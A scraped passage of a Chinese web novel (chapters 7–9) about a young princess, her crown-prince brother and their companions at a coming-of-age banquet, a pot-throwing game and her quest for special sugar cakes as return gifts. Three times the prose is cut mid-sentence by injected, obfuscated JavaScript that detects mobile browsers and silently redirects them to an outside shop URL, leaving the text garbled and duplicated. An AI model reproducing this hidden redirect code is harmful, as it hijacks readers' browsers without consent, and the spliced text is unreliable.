听见这一句,许熙暗中松了口气,挂上完美的笑容回答,“对。” 许曦泄气般趴在桌上,像株蔫掉的小花苗,“哥哥......不练字不会死掉的......” 许熙早已习惯了和妹妹诸如此类的对话,于是像从前一样微笑道,“好好练字也不会死掉的。” 话说得绝情,但许熙从来没有当动辄敲人手板的恶鬼兄长的打算。 恰恰相反,他寓教于乐地和许曦定下来兄妹间的小规矩:每隔三日差人给许曦送上一块特制的木牌,许曦则用日日练的字在上面许愿,倘若许熙对这字点了头,那就万物可得,万事皆允。 英明的太子殿下果然英明。 等到垒在许熙案上的木牌渐渐高过半个人,许曦进门不见哥哥,她的字也算小成。 东宫中有为许曦专门备出的寝殿,后来日日习字,专用的书房自然也不在话下。甚至因为许熙的重视,其中除了基本的笔墨纸砚博古架、经史典籍玉屏风,还揣摩着女儿家的心思置了不少漂亮摆件。 如此,就算谈不上十全十美,叫谁看了都喜欢得心花怒放,至少也不能说出个“不”字。 可许曦偏偏就不爱。 她固执地着人搬了张桌子摆在她哥边上,日日赖在此练字、读书、写课业,甚至描画些无谓的画。 总之,赖在她哥身边。 只是,日日挨在她哥边上就免不了他一时兴起的抽检查阅,倘若再加上一个林懿山就更是要命。 林懿山倒是凭着这份“眼里容不下懒公主”的魄力颇得许熙青眼。 不过许熙贵为太子总有忙得脚不沾地的时候,连带谢稳也留不下,林懿山也会有懒懒散散不想出门的时候,这时坐在书房里的就会换成萧天、林策和路远。 三个脑袋凑在一起看许曦写字,各有各的想法。叽叽喳喳,抑扬顿挫。 “横须得再往下才好!” “我瞧着这一竖是写得最好的。” “公主的字大体看来还是不错的” ...... 许曦谁的话都不听,兀自写着自己的字,偶尔气不过还要吵上一句,“我只听我哥哥说的,你们说的都不对!” 一声叠着一声,有时竟真吵起来,声音大得要掀飞房顶。 这时就得速速去寻太子殿下,亦或是巴望着四个人能快些偃旗息鼓,还东宫一个太平。 但不论吵与不吵,是输是赢,四个人临走前总要塞给许曦一些时新的小玩意儿或者几本好不容易淘来的杂书,这时又要好话说尽一箩筐,托她转交给今日没出门的林懿山。 东宫一日赛一日的热闹,撇去太子不论,一个公主,四个伴读,还要加上日日报到的许知礼和谢稳。 吵嚷一年,许曦终于还是实现了她的生辰愿望,甚至意料之外地冲到了甲班。有林懿山作伴不说,许熙和谢稳也成了日日见的熟人。 许知礼一看自己被孤零零撇下,转头扎在长公主府里头悬梁锥刺股地发奋读书,不消几月功夫就又得意懒散地坐在了许曦身边。 7. 第七章 人都齐了,许曦再无后顾之忧。 她本想翘着嘴角打个哈欠重拾旧习,懒散支颐混日子,却忘了屋里多出了两个“新人”——许熙和谢稳。 或者说,望女成凤的许熙和期以大成的谢稳。 许曦从蒙学到甲班打的这一场漂亮的翻身仗,虽然当事人不以为意,但是许熙旁观得心潮澎湃,仿佛亲眼目睹了一颗冉冉升起的文曲星。 他思来想去,绝不能辜负妹妹的天资才华,遂和谢稳一起加入了林懿山的劝学小组。 于是,许曦从偶尔的偏头痛变成了整个头都在日日作痛。 今日是林懿山来念几句“读书好”,明日是许熙来念几句“读好书”,后日是谢稳站在桌前“好读书”,甚至许知礼还要混在其间捣乱,三不五时嚷上一句“时光易逝催人老”...... 有压迫就有反抗。 许曦今日板着脸不说话,明日苦熬到三更又在白日里呼呼大睡,后日又赌气抱走半人高的经籍水米不沾地一日看完...... 许熙终于想起自己是个从谏如流的储君,以及,妹妹是头轻易惹不得的倔驴。 几番权衡彻底惹恼许曦要付出的代价,许熙最终决定要在东宫办一场总角宴挽回一下兄妹情谊。 消息传到许曦耳朵里,她眼带新奇,扔掉手里装模作样的书册,转头问林懿山,“林三,你知道总角宴吗?” 总角宴,顾名思义,就是给长到八岁的孩子办的一场宴席,扎发髻,吹葱管,祈愿孩子聪颖过人。不过这一向是坊间办给家中受宠的孩子的,宫里没有这个规矩。是以,许曦也是头一回知道这么个词。 “总角宴?”林懿山微偏过头,从话本中舍出半个眼神瞥了她一眼,她仰头转转眼珠想了想,心里大概有了底,又看向许曦,轻轻一点头,“知道。” 许曦伏在桌案上,头抬得高高的,眼里满是好奇与向往,“那是怎么一回事?你办过没有?” “总角宴嘛......”林懿山简单解释,“就是人长到八岁就可以办的一场宴席,挺好玩的。”至于第二个问题,她又道,“办过。”她唇角勾起,笑容清风似地飘逸,眼睛也浅浅弯起,但没再多说一个字。 总角宴设在东宫侧殿,按许熙的意思在殿里设了香炉矮桌,最显眼的是插了一根细白嫩葱的撇口白瓷瓶,玉壶春的样式,葱节若有似无地依着,亭亭玉立。 殿外廊下则是铺了三四张软席连成一片,其上又摆了矮桌三四张拼成一长条,桌上间错陈列着松子糖、蜜渍樱桃、奶酥、糖渍梅子、糖藕片、蜜煎金桔,枇杷、橘子瓣等鲜果若干,再有一小壶兑得淡淡的蜜水。 当日,许曦、许知礼、林懿山、许熙、谢稳还有萧天、路远、林策齐聚廊下。 许曦头上是嬷嬷早先梳好的两个小抓髻,她摇头晃脑,俏皮灵动。 许熙把她拉到身边,拿出自己给她准备的小礼物。 他从怀中取出两条混编金丝的红丝带,把它轻轻系在了许曦的手腕上,动作间上绣的蜻蜓纹若隐若现。 绾了个漂亮的双垂节,许熙笑意清浅,拉着妹妹的手晃了晃,丝带尾缀的两个指甲大的金角叮当碰在一起,角尖还镶了两颗圆润粉白的珍珠。 “好看吗?”许熙笑问。 “好看!”许曦笑得见牙不见眼,兴奋地晃着手腕,珍珠上下飞舞如雨打连珠。 许熙从内侍端着的托盘上取下插在瓷瓶里的嫩葱递给许曦,挑起眉语气促狭,“试试?听说吹得越响会越聪明。” 许曦斗志昂扬地接过来,深吸一口气,鼓圆了脸去吹,“嘟——呜——” 许熙含笑鼓掌,他一牵头,其他人接二连三地捧场,掌声一片。 稍静下些,许熙拍拍妹妹的头,温声道,“不错,吹得很响。好好果然是天下第一聪明的公主。” 许曦不满地拍掉他的手,“当心将我的头发拍歪了。” 许熙顺势背起手笑,其他人也都跟着哄笑一团。 水足饭饱,许曦趴在矮桌上,将系着红丝带的那只手腕悬在眼前,细细打量着它。她忽然坐起身,同时抽手解开腕上的红丝带往身边人身上扑,“林三!我......” “不要!躲我远些!”林懿山一眼就看出她打的什么小九九,当即身子向后仰不说,还扶着席面离远了矮桌,几下站起跑到了廊边,缩在柱边警惕地盯着许曦,像只受惊的猫,“我不扎!” 许曦嘻嘻一笑,拎着红丝带又往许知礼身边凑,“表姐......” 许知礼一个眼神瞟过来,定在当场,语气坚定,铿锵有力,“我也不要!” 许曦摆出一副软乎乎的表情还要再磨,许知礼直接一跃而起,几步跳到另一廊边。许曦哈哈笑着起身去追,一会儿追得许知礼满庭跑,一会儿又抽冷子去追林懿山。 三个人乱成一团,在廊下庭里绕着圈跑,跑久了,谢稳起身去拦,伸开双臂荡在许曦面前,“小殿下,天儿还未转暖,当心跑久了灌风受凉。” 许曦正在兴头上,一见他来,如同见了自投罗网的羔羊,直接冲上去抱住他腰身喊着“不准动!” 谢稳自如的笑容僵在脸上,本来平展的双臂也半软不硬地停住,放下也不是,收在背后也不是,如同突然被叫停的提线木偶人一般。他下意识提气,腰腹收紧,隔着衣料躲许曦的怀抱,红着耳根局促问道,“小殿下......怎......怎么了?” 许曦抱着他,从他腰侧探出头去喊跑远的许知礼和林懿山,“回来!快回来!” 她二人听见呼声,转头,顷刻间换上凶恶笑容,狞笑着迅速跑回,帮着许曦把谢稳押在席上。默契得好似一早商量好的仙人跳团伙。 许知礼和林懿山一人一边按住谢稳肩头不叫他起来,力气之大,神态之威严,好似寺庙里的金刚力士。许曦则松开手又掏出了自己的红丝带,一脸坏笑着要把手往谢稳头顶探。 谢稳终于反应过来发生了什么,紧忙向后仰头躲开她的手,语速极快,“等一下,小殿下!等等!” “等什么?”许曦故意把手又缩回来,睁大眼睛一副天真无辜的模样,说完却是又要去够谢稳头顶。 谢稳受制于许知礼和林懿山,不敢使力挣扎,只能慌张地晃动上半身去躲,边躲边道,“小殿下饶我!” 许曦呲着白森森的牙,如猫戏老鼠一般语气轻柔地假意哄着,“别动别动,一会儿就好了。” 他挣扎得实在厉害,三个女孩嬉笑一会儿就起了到此为止的心思。 她们手上力气刚松,许熙就挂着笑脸站了起来,双手按在谢稳肩上,叫他再没有挣扎的余地。萧天、路远和林策也喊着起哄,“扎他!”“他生得俊秀,保管扎了比女儿家还好看!” 许曦笑得眼睛弯弯,有点得意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林策先他一步给了答案,他朗声道,“殿下,我三人还是留在廊下吧。” 许熙点点头,众人又转过身去围在一起。 许曦环视一周围着她的四个人,“咱们玩投壶,得有一个断名次的。” 众人点头,心道有理。 于是四道灼热的视线不约而同地挪到了许熙脸上。 “嗯?”许熙眉头一挑,似是无奈地在嘴角漾开一抹淡笑,后退一步,“这就不带我了?”他这样说,下句却一转,“好,那我看你们比。” 依照年龄顺序,第一个投壶的谢稳。 他出身将门世家,是长宁候的嫡幼子,自小就跟着长宁候苦练武艺,夏练三伏,冬练三九,身手底子在几人中最好,信手一扔就是一个准准的倚竿。 轮到林懿山,她来时抱了个枇杷,这会儿把枇杷顺手塞进许曦怀里,她拈起要投的箭,下意识在手里转了一下,又望了望放在远处的投壶,虚眯着眼瞄了瞄,手腕一转——贯耳! 见成绩不错,林懿山勾起唇角,从许曦怀里把自己的枇杷又捞了回来,慢条斯理地剥枇杷吃。 看了这两场,许曦初生牛犊不怕虎的气焰半分不减,甚至跃跃欲试地转向许知礼,“表姐,咱俩比一比!” 她二人习武时间相差无几,若要比较起来还真有几分看头。 8. 第八章 许知礼挑起嘴角,潇洒地拿过自己的箭,眼睛微眯的瞬间周身气势猛地一沉,像一只伏在草丛里观察猎物的幼虎。她定定地感受了一下,仿佛早见胜局,竟咧唇露出一颗尖利的虎牙。接着松手,箭就分毫不差地正入了壶里。 许曦上来时像模像样地冲许知礼一拱手,动作谦逊,笑脸挑衅,“表姐,得罪了。” 她甩臂,放手。 那箭先是直直朝壶口去,却意外碰在了耳上,又因此反借一个力,零零琅琅掉进壶里。 全部投过,许熙磊落果断地宣布谢稳第一,林懿山第二。 至于第三...... 许曦忸怩地攥着哥哥的一点袖角摇啊摇,一双水汪汪的大眼睛眨呀眨,讨好卖乖道,“哥哥,第三名是我,对不对?” 许熙绷着脸不看她,义正言辞道,“孤应该大公无私才是。” “哦......”许曦松开手,双手无力地垂在身侧,低着头看不清表情,嘴巴倒是撅得能挂个油瓶。 许熙偷偷睁开一只眼看她,那只眼睛倏地弯成月牙,“但是偏心你一点点,想来也不为过。”他伸手托着妹妹下巴抬起她的小脑袋。 “咳咳。”许熙清清嗓子,背着手挺直腰杆,端是一副清风朗日的做派。 可惜在一字不差听见兄妹俩密谋的许知礼眼里只剩下道貌岸然。 果不其然,只听他道,“第三名是.......好好。” 许知礼毫不犹豫地为荣誉而战,她瞪圆了眼不满道,“至多叫我和好好并列第三也就算了,怎么叫我垫底在最后?!” 许熙理亏,悻悻地闪躲开她愤怒的目光,用手挡在两人之间,“孤是太子........太子的偏心一点点......就是这样的。” 许知礼步步紧逼,怒目圆睁,咬牙切齿,“太子表哥......” 许熙步步后退,只差喊救命。 许曦连忙挡在中间,隔开两人,“等等等等,哥哥刚才说的不算。” “不算?”许知礼停下来,凶蛮的气势一滞,“你的意思是......?” 许曦一把抱住她的手揽在怀里,急切道,“并列第三,并列第三!表姐意下如何?” 许知礼一怔,态度松动下来,又恢复成平时的样子,“好啊。” 许熙躲在许曦身后长吁一口气,一副捡回条命的样子,这会儿又从许曦身后探出头来,“好好这样大公无私,显得我刚刚徇私像极了小人行径呐。” 许曦慌忙又转过身去揽住哥哥腰身,语气黏黏糊糊,仰头卖痴道,“哥哥才不是小人,哥哥是大人!大好人!” 许熙环抱住她,笑得前仰后合,引得众人也是一阵哄笑。 许曦在哥哥怀里回头去看,谢稳翘着唇角,靠在一起东倒西歪的许知礼和林懿山,所有人环绕她一圈,她整个人泡在笑声里,笑声时高时低,像浪打潮退,她耳朵痒痒的。 她抬头看哥哥,“哥哥,明日还能再办一回吗?” 许熙笑吟吟回她,“你说了算。” 许曦看看他,又看看依旧笑着的其他人,没说出口的是,来年的生辰能不能也这样办? 来年的生辰不能这样办。 许曦生时漫天霞光,也因此独得皇帝宠爱。她的生辰一直都是阖宫上下的大事,往往要提前三四个月准备,无论如何都不可能像这样在东宫随意开一桌小宴任人游戏取乐。 不过许曦也不气馁,很快换了一个想法,一个疑似被圣贤书熏陶出的惠人想法——她今年要给所有人都送一份亲自准备的生辰礼回礼! 生辰宴一罢,她就钻进了许熙之前为她专门准备的那个小书房,决意偷偷躲起来想出一个惊天地泣鬼神的好回礼。 想回礼想得她头疼。 衣帽?不好不好,她可不知道她们的穿衣尺寸,叫人去量也没意思;配饰?不好不好,各人家里堆的要以小山计;话本?不好不好,就是在林懿山那里也不算出奇。 想着想着,许曦踱步又出了书房,慢慢悠悠往小厨房去,万一她去了就能想出来呢? 她当初搬来东宫搬得匆忙,难免有些零碎玩意儿落下,她有时想起也懒得差人去取,不久也就又忘在脑后。 但千忘万忘唯独有一样不能忘——巧娘。 巧娘从她年幼时就被分到了甘泉宫,之后就因为一手做点心的好手艺一直跟在她身边。 巧娘擅长做点心,也爱研究点心,没什么事就喜欢待在小厨房里琢磨点新花样。 许曦一会儿功夫就走到了小厨房门口,没等进去,她先纳闷地嗅了嗅,奇怪,今日怎么没闻见点心的甜香? 几步踏进门去,一眼就看见巧娘正背身站在台边专心致志地不知在做什么。 “这是在做什么?” 巧娘肩膀一耸,差点从台边跳起来。许曦这几步走得静悄悄的,她一点都没注意到。她不住拍着胸口给自己顺气,心有余悸道,“公主殿下,您差一点就要吓死奴婢了。” 许曦瞧她一眼,没有大恙,又把注意放回眼前的小盆里,“这是什么?”她伸手从盆里拈出一点,放在眼前仔细瞧了瞧。 巧娘忙掏出条帕子包住她指尖,沾干净水渍,再把她指尖那点东西拿走,软声解释道,“这些是绿豆。” 许曦看看白帕里的一点绿,又看看瓷盘里零散的绿意和盆里幽深的绿水,好奇看向巧娘,“那你刚才在对绿豆做什么?” 巧娘笑,眉眼弯弯,把帕子攥在手里,“奴婢刚刚在剥绿豆,就是把绿豆外层的皮剥掉。” “剥掉皮做什么?”许曦扒在台边仔细观察绿豆间的区别。 巧娘指尖在许曦脸侧刮了一下,笑得像一朵迎风摇曳的芙蓉花,“剥来给殿下做饼吃啊。” “做饼吃?”许曦不解,追问道,“还要给豆子去皮?这么麻烦?还是只它要去皮?” 巧娘轻轻点头,“只它要去掉豆子的皮。” “这么稀罕?”许曦怀疑地盯着沾在盘上的去皮绿豆,“就是去了皮也是豆子制的饼,还能比得上仙人的吃食不成?” 巧娘忍俊不禁,尽量压着嘴角解释,“那倒是比不上。饼子做成了也就是看着比寻常甜饼更薄些,可不会冒金光。”她没忍住莞尔,接着道,“但是包在饼里的馅料特殊。绿豆要全部剥过皮,细细剁碎,切不可碾成泥。再将冬瓜煮熟挤干水后剁成蓉,两者混在一起,浇了蜜慢慢炒。” 许曦听着她的描述,凭着从前吃糕点的经验已能想象出那种不一般的滋味,口中也润湿了些,下意识问道,“那还要几时能做成?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317546|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 巧娘扑哧一笑,“公主殿下见谅,奴婢怕是做不成了。” “为什么?”许曦诧异,方才巧娘不是还把做法说得头头是道,怎么这会儿又做不成了? 巧娘垂眉低头,目光落在一盆泡在水里的绿豆上,伸手进去轻轻搅动,眼神温柔,“奴婢做点心的手艺,至少有一半是和奴婢的阿娘学的。其中就包括这糖饼。可能是奴婢学得不到家吧,做出来总是和阿娘做的不一样。” “那你阿娘在哪儿?” 巧娘是进宫来谋生计的,一年的例银省吃俭用攒下来再托人转交给家里,又够家里过上许久的日子。这样的家境,住处自然也偏僻些。 据巧娘所说,她家住在城南,那儿人人都知道一条长着棵老桐花树的巷子。再往里走上三五百布,瞧见一扇拴着褐色布条的门就是她家了。 许曦站在巧娘描述的门前,细细打量着,又左右确认了一遍的确只这一扇系褐布条的门,这才上前敲了敲门。 三声过后无人来应,也听不见里面人喊话。 许曦有些心烦意乱,难不成正巧碰上主人家不在? 她等了一会儿,又敲了一遍,这次使的力气也更大了一些,却意外地直接将门直接敲了开。木门极轻地咿呀一声,微微转动,露出门内景象。 庭院中正有一精干妇人背着大门在搓洗衣物,她力气极大,脚边水花四起,哗啦作响,由不得她不心外无物。 许曦扶着门静静望了一会儿,接着推开门整个人走进去。 当她整个人的身影出现在妇人余光里时,妇人显然吓了一跳,几乎是跳着转过身来,洗衣盆被无意踹开,盆中水荡着呼啦洒了一地。 她下意识握紧拳头,疾言厉色,“谁?!” 看清楚突然出现的是一个长相青嫩的小姑娘,她松了一口气,但对方颈上腕间错杂交辉的金玉环镯,明显没做过粗活的娇嫩皮肤和不请自来的行径还是让她提着提防心,她犹豫着问,“小姐,您......您是......” 许曦也被她刚才的举动吓了一跳,人愣在原地呆若木鸡,这会儿才如梦初醒般眨眨眼,“啊,我......我,我听巧娘说您做点心的手艺好,想来找您买些糖饼。”她又补了一句,“夫人。” 妇人明显放松下来,本来有些紧张的脸也肉眼可见地和缓,女儿在宫里做事,能认识这样的人物倒也不让人意外,只是...... 她脸上带出局促的笑来,双手在身侧不知所措地搓搓衣服,“小姐,可不敢这样叫我。左邻右舍都叫我常大娘,您要是不介意,也这么叫我就成。”她一顿,又慌忙道,“哎哟,我刚刚没吓着您吧?我,我这,一人在家还以为是什么小毛贼呢......” 她伸出手想去察看,又怪异地戛然而止,只能围着许曦紧张地上看下看。 “我没事。”许曦安抚笑道,“......大娘,”这个称呼对她来说有点陌生,“我能买上些糖饼吗?” “呀!忘了!”常大娘一拍大腿,惊叫道,又皱眉,“既然小姐认识巧娘,那怎么还能收小姐的钱呢!” 说着,她匆匆收拾出一个干净地方供许曦坐着等,自己则是脚不停歇地奔进了另一间小屋里,脆亮的声音甩在身后,“正巧昨日做了些!我拿来给小姐看看!” 9. 第九章 一碟糖饼端到眼前,许曦拈起来一个轻咬一口,饼皮有些软了,馅料也冷得发粘,但还是可以大概尝出其中独特的甜味。 她心里有了底,眼睛慢慢弯起,拿出条帕子擦干净嘴角指尖,再把吃剩的糖饼包好,笑眯眯对常大娘道,“您做的糖饼果真味道很好,但我不要多,够七个人的就行。再按人头数各分成一人份。其中五份我这两日就来拿,另两份要等到年尾再来。”她说着,不好意思地笑了笑,“这么麻烦琐碎,我怎么能不跟您付钱呢?” “哎呀,这,这......”常大娘边摆手边后退,慌张地推辞,“不过是些糖饼子,怎么好要小姐的钱呢?” “要的。”许曦站起身,从袖中掏出一袋金叶子,强塞进了常大娘手里。 常大娘低头瞧瞧手里的这一小袋金叶子,只觉做梦似地浑身轻飘飘没了力气,又不敢真没了力气丢了这一袋金叶子,后知后觉这一小袋子金叶子似在发热般烫手。 她一手托着,另一手去解钱袋,从中取出一小片来,甚至还小心地又撕下一半攥在手心里,剩下的如数留在钱袋里,想像许曦那样塞回去,手一顿,轻轻放在了许曦身侧的矮木桌上,往许曦的方向推了推,声音打着颤,“小姐收好,这太多了。”她攥着那一小片金叶子的手又紧了紧,“这些.......这些就够了,足够了。” 许曦瞧了眼她紧握着那一小片金叶子而绷起青筋的手和发干的嘴唇,抿着嘴将钱袋子收了起来。 和常大娘谈好具体哪日来拿,又细细叮嘱过须得是当日新做的,许曦回了宫。 宫里有一个巧娘在盼星星盼月亮,望眼欲穿地等。 终于看见许曦的身影,她如蒙大赦般迎上去,“公主殿下,您要吓死奴婢不成!”说着,她把许曦揽进怀里,伏在人肩头呜呜地哭,眼泪大颗大颗地往下掉。 往日里许曦出宫要么就跟着太子一起,要么就和许知礼、林懿山一道,谁承想今日竟留了张字就不声不响地走了,连去哪儿都不知道。巧娘越哭越后怕,幸好公主殿下安然无恙地回来了,不然要是叫东宫的人知道丢了公主,定要把她关进慎刑司磋磨,到时候就是不死也要脱层皮下来。 她抽泣着,抱着许曦的手又紧了紧,“公主殿下,您万不可再如此行事了......奴婢就一个脑袋,不够太子殿下砍的啊......您万一丢了,奴婢的命也就没了......” 许曦越过她肩头去看,平日里跟着她的宫人内侍乌泱泱跪了一地,个个都埋着头缩成一团,像受惊的鹌鹑。 这其中有知情和一知半解但是没来得及拦住的,还有完全不知情以至于完全拦不住的。但是此刻她们都明白一件事——公主回来了,命也捡回来了。 许曦竟从这一个个看不见面目的身影里看出了和巧娘如出一辙的乞求、慌乱和可怜。 她安抚性地拍拍巧娘的肩背,另一只手摸上她哭红的眼尾,“别哭了,我不会再这样了.......”她又转头对一地的宫人道,“你们也都起来吧,该做什么做什么去。” 巧娘抽抽嗒嗒地擦着眼泪,“再说了,公主殿下您怎么能一个人都不带呢?要是在外面碰见危险可怎么办......” 许曦笑着轻轻拍她手臂,“这不是不想惊动太多人,免得叫她们猜出来嘛。” “那也不能......”巧娘跟在她身后嘀嘀咕咕。 过了几日,许曦去取糖饼。 这次她约了林懿山,带了两三个宫人跟着,还专门找太子要了辆马车用。 想着要送回礼的人就跟在身边,许曦今日特意换了一身石榴红裙,头上也零零碎碎戴了不少镶金宝石小钗,由一根细腻润泽、清如月光的白玉簪压着,秾华清韵,好似红尘仙。 甚至她出门前还在铜镜前照了许久。 她一向很重视这种小事。 取到糖饼,许曦出了门就直接递给林懿山,“这就是我准备的生辰回礼,你快尝尝。”她自己也从食盒中摸出一个,轻轻咬破。 刚出锅不久的糖饼和她想得一样,饼皮香酥,内馅温润软糯、入口即化,像冬日里薄雪化在眼角,就是口里的雪有点烫。 “除了你我,糖饼还有哥哥、表姐和谢稳的份。”许曦呼着糖饼散出的热气,“还有金蕖和玉蕖!今年过年我就来拿。” 林懿山听着,细细嚼着糖饼,半晌接了一句,“谢稳?” “对啊。”许曦点点头,“糖饼子自然要有他的份,他年年给我送如意呢。” 林懿山咬着糖饼,歪头去想,慢慢道,“可是我记得他似乎近日家中有事要忙,已经好几日不往宫里来了。” “啊?我怎么不知?”许曦先是一惊,随即又平静下来,“无妨,他不来,我往他家侯府去就是了。” 两人回了东宫,破天荒地没在书房找到许熙。在东宫找了一圈,倒是在许曦的寝殿遇见了同样扑了个空的许知礼。 许知礼打量着今日穿得衣冠赫奕的许曦和旁边杏红衣裙的林懿山。 林懿山喜红,穿成这样倒是不奇怪。但是许曦....... 她惊疑地围着她俩转了三圈,评头论足,啧啧称奇,“你俩这是干嘛去了?” 许曦一把拽住还要继续拉磨的许知礼,叫她在自己眼前站好,随后清清嗓子,难得抬着下巴摆出矜贵的公主做派,“表姐,我要把生辰回礼给你。” 她一伸手,林懿山默契地从宫人手上将食盒转递给她。 食盒转到手上,许知礼好奇地打开瞧了瞧,看见里面躺着几块薄饼,“这是......” “这是我特意找巧娘的阿娘做的糖饼,”许曦眼角弯弯,闪着得意,“你从前定没吃过这样的!” 许知礼满心讶异与不服,糖饼子而已,还能做出花来? 她拿起一个咬开,沙绵清甜,最重要的是,还真让她吃出了花香味。 她吃得心服口服,心喜欢,口也喜欢,眼睛亮晶晶。许曦在旁边看着,笑得像一只偷腥的狐狸,“表姐,好吃吗?” “好吃,好吃。”许知礼百忙之中答了一句,吃完又问,“巧娘的娘能到宫里来吗?或者去我长公主府?” “不能!”许曦回得斩钉截铁,脚尖一转,换了方向,昂着脑袋像一只漂亮的小孔雀一样走开,“表姐的回礼送到了,我要去找哥哥了!” 她刚开始几步还走得轻缓,待到走远一些就直接小跑起来,轻快得像一只飞在枝头的云雀。 许知礼连忙去追,“等等!我和你一道去!” 今日的许熙确实难找。 三个人一路跟宫人打听着,从东宫追到乾清宫,又从乾清宫追到甘泉宫,甘泉宫没找见人又追去承天门,最后在承天门听见人又回了东宫。 许知礼一路跟在许曦身后争分夺秒地忏悔自己做出的愚蠢决定,许曦则是雄赳赳气昂昂地一直跑到书房门前一脚踹开紧闭的门,“哥哥!” “哎!”林懿山和许知礼站在门边看直了眼。 “砰”的破门声和震耳欲聋的一声喊,成功让许熙意识到好像出了什么大事。 他当即站起身,看着门口愤怒的妹妹小心翼翼问道,“好好?这是......怎么了?” 许曦绷着脸,面无表情地站到他身边,声音也无波无澜,“哥哥,我要送你生辰回礼。” 送礼?这看着可不像来送礼的,更像是上门要债的。 许熙一手扶着桌子,声音干涩,难得有些无助,“好好啊,这是要送什么啊?” 许曦眨眼间又抱起双臂,扭过脸皱眉不看他,“可我又不想送你了。” “啊?”许熙有时候还真跟不上自己妹妹一刻三变的想法,弱弱问道,“.......为......为什么啊?” 许曦不说话,只是从眼角漏出一点眸光看他,瘪着嘴眉头越皱越紧,像是在说服自己不知者不怪,又像是气急又委屈,那一点泛红的眼角隐隐要闪出泪光。 “太子殿下。”林懿山上前帮忙解释,“好好准备了糖饼,一早就取来准备分给大家。没想到您今日这么忙,好好为了找您,跟着您在满皇宫跑了一天呢。”她歪头去瞧许曦,许曦一下子把头扭得更开,甚至直接转过身去不看任何人。 她眉眼弯弯,笑意促狭,“好好明明这么执着,现下又改口说不送,想来应该是糖饼在食盒闷了一天口感不好,自觉送不出手吧。” 听明白原来是这么回事,许熙心中生出歉疚,他软着嗓子去牵许曦的衣角,轻轻拽了拽,“好好?好好,是哥哥的错,要是没那么忙就好了。”他慌忙举起另一手,竖起四指保证道,“明日,明日哥哥一定哪里也不去,就待在这里等着好好带着糖饼来找我,好不好?” 许曦还是不理他,一声不吭。 许熙又晃着她衣角求了半天,最后试探地拽着她衣角将人转过来,“好好,好好明日再来,糖饼子予哥哥一个好不好?” 许曦慢吞吞转过来,眼睛红红的,嗓音被委屈熏得发软,“你明日会在这里,哪儿也不去.......?” 许熙忙用帕子一点点沾去泪水,温声哄着,“哪儿也不去,哪儿也不去,好好明日带糖饼来好不好?” 许曦偎在哥哥怀里,轻轻点了点头,鼻音浓重,“嗯..... 关于糖饼的事,许曦一向很上心,第二天一早就又从宫外拿来了糖饼,迫不及待地送到哥哥桌上。 许熙笑吟吟打开食盒,弯着眼睛“奉承”道,“谢公主殿下的赏。” 他拿出糖饼来吃,心里早早做好了待会儿要如何卖力捧场的打算。 但是糖饼吃进口,他眉毛微不可见地一挑,有些吃惊。 沙糯柔软的内馅中混着些豆碎,使之吃起来不叫人起腻,甜得清雅含蓄,尾韵里透出一丝极淡的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317547|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清爽的果酸和花香。 吃着饼,他注意到放在一旁的另一个食盒,“这又是给谁的?” “给谢稳的。”许曦答。 “阿稳啊......”许熙若有所思地垂眸,“谢老将军近日身体不适,阿稳不放心,一直在床前侍疾。连我也是几日没见他了。” “我到侯府去寻他就是了。”许曦不以为意,“总之,我的糖饼必须送出去。” 许熙笑着看她,“那就去吧,左右你去到阿稳一定会照顾好你。”说着他在人脑袋上轻轻敲了一下,“虽说我早先已去探望过谢老将军,但你既去了,就替我再带声好,记住没有?” “记住了,记住了。”许曦下意识揉脑袋,嘟着嘴不满道,“又敲我,下次你再这样,我就不帮你带话了。” 许曦坐东宫的轿子出宫,到了长宁侯府门前自然有人去知会门房通传。 不消半会儿功夫,谢稳就出现在门前。 许曦听见动静,掀开轿帘喊他,“谢稳好啊!” 谢稳闻声望去,漫天细雪下,红木轿子掀开蜜合色的轿帘一个小口,露出半张俏生生的小脸,长睫眨啊眨,眸色清亮莹澈,正弯弯冲他笑。 谢稳几步下了门前台阶,站在轿旁挡去有些刮人的风雪。 许曦笑盈盈的,半点压不住嘴角,颊边浮出一个浅浅的梨涡,“谢稳,你猜猜我为什么来找你?” “爷爷近几日卧病在床,小殿下是来探望爷爷的?”谢稳回得不紧不慢。 许曦翘着唇角得意摇头,“是也不是。我今日是来送生辰回礼的。不过哥哥也嘱咐我替他向谢老将军带声好。” “回礼?”谢稳一惊,他不过几日没进宫,“怎么忽地冒出这么个说法?” 许曦道,“那你不要管,你只管再猜猜,我要送你什么?” 送什么? 谢稳目光落在她身上,许曦一双琉璃眼闪着光,满脸藏不住秘密的偷笑。他瞧着她思考那份要猜的礼物,良久,败下阵来,告饶似地道,“我实在猜不出来,小殿下让我一让,许我三个问题问上一问,好叫我猜也有个方向?” 许曦很慷慨,欣然点头,“你问吧。” “第一个问题。”谢稳道,“这回礼,是单单只我一个人有,还是大家都有?” “大家都有。”许曦道。 谢稳浅笑,“第二个问题,大家的回礼各不相同,还是一模一样?” 